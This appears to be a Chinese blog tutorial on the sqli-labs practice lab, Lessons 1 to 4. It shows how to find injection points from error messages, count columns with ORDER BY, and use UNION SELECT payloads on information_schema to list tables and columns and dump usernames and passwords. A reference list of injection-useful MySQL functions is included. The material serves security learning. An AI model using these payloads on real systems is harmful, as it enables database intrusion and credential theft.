目录
1.GET单引号字符型
2.GET数字型
3.GET单引号加括号字符型
4.GET双引号字符型
5.注入利用
5.1利用order by判断字段
5.2利用联合查询查找信息
1.GET单引号字符型
首先我们打开搭建好的sqli-labs靶场,选择less-1
![](https://img-blog.csdnimg.cn/da86023ad78a433eb6e591518a4be8f6.png)
进入后我们看到这样一行提示
![](https://img-blog.csdnimg.cn/bf14026c560c4277a653da707a1d0b3d.png)
请输入一个id值作为对应参数,这里我输入1作为参数,验证后1-14均可以回显
![](https://img-blog.csdnimg.cn/765030eb4d0f42abb72199ee79ba34aa.png)
输入后login name 和password都显现出来
我们输入单引号
![](https://img-blog.csdnimg.cn/429eab3ce5d34faca15823647d6331da.png)
这里显示错误,我们将错误回显记录下来
'1'' limit 0,1
由此我们可以猜解出SQL语句为
select login_name,password from 某个表 where id ='id' limit 0,1
2.GET数字型
我们选择less-2
![](https://img-blog.csdnimg.cn/b043163968564eaf87b00cf069e88b0f.png)
一样的方法输入一个参数,看显示(结果与1一样),然后在加入一个单引号,得到如下结果
![](https://img-blog.csdnimg.cn/5e71d9dac8a949d0a091aad4fc380be7.png)
这里也将错误回显记录下来
'limit 0,1
由此我们可以 猜解SQL语句为
select login_name,password from 某个表 where id=id limit 0,1
3.GET单引号加括号字符型
此时选择less-3
![](https://img-blog.csdnimg.cn/a5f200c3d11047f498400b5fc667f95e.png)
一样的方法输入一个参数,看显示(结果与1一样),然后在加入一个单引号,得到如下结果
![](https://img-blog.csdnimg.cn/bcc73d1d29384870a5a9d3f4fe8ded0b.png)
这里仍然将错误回显记录下来
'1'') limit 0,1
此时我们猜解SQL语句为
select login_name,password from 某个表 where id=('id') limit 0,1
4.GET双引号字符型
这里选择less-4
![](https://img-blog.csdnimg.cn/36b9136718824421b7368da46fdfffaa.png)
操作不变,前面返回相同,输入单引号后,返回结果如下
![](https://img-blog.csdnimg.cn/b16be37f536e4a42a18e8de623821f37.png)
毫无变化,在加入括号试试
![](https://img-blog.csdnimg.cn/e4f9f333f03e463abeb6cec07d133ddb.png)
可以看到依然是毫无变化 ,这个时候就该思考是用""闭合输入,输入的任何数据都会被当作字符串处理,所以不会报错,这时我们可以使用转义符\进行检测
![](https://img-blog.csdnimg.cn/3583ba5cf56d40b1a05d901dac4a57b2.png)
可以看到这时的错误就回显出来了
依旧是将错误回显记录下来
"1\") limit 0,1
从这里我们就可以判断SQL语句是
select login_name,password from 某个表 where id=("id") limit 0,1
5.注入利用
5.1利用order by判断字段
这里我们以less-1为例子,首先我们先观察less-1的SQL语句
select login_name,password from 某个表 where id='id' limit 0,1 观察注入点后我们要构造以下语句
select login_name,password from 某个表 where id='id' order by 猜解的字段数 --+limit 0,1,加号也可以是%20(空格的意思)
那么我们要输入的语句就是 ' order by 字段数 --+,输入后开始猜解字段数
![](https://img-blog.csdnimg.cn/8a5d29beda124e30872e9684bd4b6e1d.png)
![](https://img-blog.csdnimg.cn/0c04ee56380540669f8681c892173c22.png)
通过几次判断发现3可以,4不行,则这个字段数就为3
5.2利用联合查询查找信息
(联合查询有两个限制内容,查询结果须有相同的列(字段数),相同位置的列有相同的数据类型)
此时我们需要判断显示位,即可以利用的地方
构造select login_name,password from 某个表 where id='id' union select 1,2,3 --+
此时的id应该报错处理,令id=0,因为联合查询的回显只会回显一个,前面的需要报错来让后面的语句显现,输入后得出如下结果
![](https://img-blog.csdnimg.cn/74d862e8c0e8416f9e7b3925480d67e1.png)
此时可以看到供利用的位为2,3
然后继续构造语句查询版本信息version(),登录名user(),数据库名database()
![](https://img-blog.csdnimg.cn/b300148c32f1463aab279de0484bd6db.png)
![](https://img-blog.csdnimg.cn/76c3905b5ceb417bab71d978ff83877c.png)
可以得出数据库名为security,登录名为root,版本是5.7.26
以下扩充下知识,mysql5.x版本以上默认有information_schema数据库
version() # mysql 数据库版本
database() # 当前数据库名
user() # 用户名
current_user() # 当前用户名
system_user() # 系统用户名
@@datadir # 数据库路径
@@version_compile_os # 操作系统版本
length() # 返回字符串的长度
substr() # 截取字符串
left() # 从左侧开始取指定字符个数的字符串
concat() # 没有分隔符的连接字符串
concat_ws() # 含有分割符的连接字符串
group_conat() # 连接一个组的字符串
hex() # 将字符串转换为十六进制
unhex() # hex 的反向操作
md5() # 返回MD5 值
floor(x) # 返回不大于x 的最大整数
round() # 返回参数x 接近的整数
rand() # 返回0-1 之间的随机浮点数
load_file() # 读取文件,并返回文件内容作为一个字符串
sleep() # 睡眠时间为指定的秒数
if(true,t,f) # if 判断
find_in_set() # 返回字符串在字符串列表中的位置
benchmark() # 指定语句执行的次数
column() #指定列名
0x3a #冒号十六进制表示
接下来则就是爆表名,列名
构造语句
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'(这个就是数据库)
![](https://img-blog.csdnimg.cn/1ab5816a09874004acc64207a205f988.png)
得出表名分别为 emails,referers,uagents,users
接下来查找列名,构造语句
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails'
![](https://img-blog.csdnimg.cn/3d730096ff934b339b0c25eea710b88e.png)
当然我们最关心的是用户的账号密码啥的,所以构造语句
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
得到回显列名
![](https://img-blog.csdnimg.cn/487fe629214c4b91babf540eb881915d.png)
查询具体数据(密码)
构造如下语句
?id' union select 1,group_concat(user,0x3a,password),3 from users --+
![](https://img-blog.csdnimg.cn/39bdd36a24264159abc53d1e96ca8805.png)